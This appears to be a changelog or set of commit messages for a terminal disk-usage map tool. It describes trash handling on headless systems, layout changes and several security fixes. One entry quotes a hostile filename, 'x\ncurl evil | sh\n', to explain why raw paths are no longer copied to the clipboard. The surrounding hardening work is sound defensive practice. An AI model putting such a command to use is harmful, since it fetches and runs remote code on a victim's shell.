On a headless Linux or BSD system (no DISPLAY or WAYLAND_DISPLAY) nothing
empties the freedesktop trash, so trashing never freed space. There, d now
deletes permanently after an explicit confirmation, checking owner and type
against the scan and removing through an os.Root on the parent so a swapped
symlink cannot redirect it. o shows the folder in the map instead of
launching a file manager. Desktop sessions, macOS and Windows are unchanged.
The map stopped nesting after a fixed 3 levels, so at / a chain like
mnt/raid/media used the whole budget on full-size wrappers and showed
empty boxes with only titles. Single-child directory chains now collapse
into one label, nesting depth is bounded by block size instead of a fixed
cap, and nested blocks show size and percentage of their parent.
fix: sanitise snapshot follow mode; least-privilege CI token
The scan-info view printed the snapshot's "follow" metadata string
unsanitised (the canvas filter was the only defence). The CI workflow
ran with the repository's default GITHUB_TOKEN permissions; it only
needs to read the code.

fix: refuse to copy paths containing control or bidi characters
The copy-path action put raw filenames on the clipboard via OSC 52. A
hostile name such as "x\ncurl evil | sh\n" (from a shared directory or
a crafted snapshot) executes commands when pasted into a shell without
bracketed paste. Paths that Sanitize would alter are no longer copied.

fix: pin parent directory and verify owner/type before trashing
Trash renamed the item by path after the confirmation dialog, so a
parent directory swapped for a symlink since the scan (e.g. by another
user, while an administrator cleans their home) redirected the move to
an unrelated file. The parent is now opened once and the item is checked
(owner and file type as scanned) and renamed relative to that fd.
macOS volume trash directories now get the same ownership/symlink checks
as freedesktop.org ones on Linux.

- snapshot: depth limit (stack overflow in exporters), decompressed-size
limit (gzip bombs), per-node size cap and saturating aggregation
- export: sanitise exclusion patterns from snapshot metadata
- tui: drop duplicate/trash/filter results that belong to a replaced
tree; cancel duplicate search on rescan
- trash: refuse symlinked or foreign shared-filesystem trash dirs; never
overwrite an existing trashed item
- scan: no symlink following without inode identity; correct unscanned
count and keep real read errors after cancellation
Dark shades map to black and greys to the grey/white entries while
saturated category colours keep their hue, instead of the stock
conversion's bright yellow/cyan shadows.
Decompression and checksumming overlap with parsing via a pipe, and a
concrete-typed varint reader removes per-byte interface calls
(0.39s -> 0.29s for 458K nodes).
--compare opens the TUI with growth/shrink colouring unless a report is
requested. treegen builds deterministic synthetic trees (Unicode,
hostile names, sparse files). MAPSIZE_DEBUG_PANIC verifies terminal
restoration on UI and scanner panics.
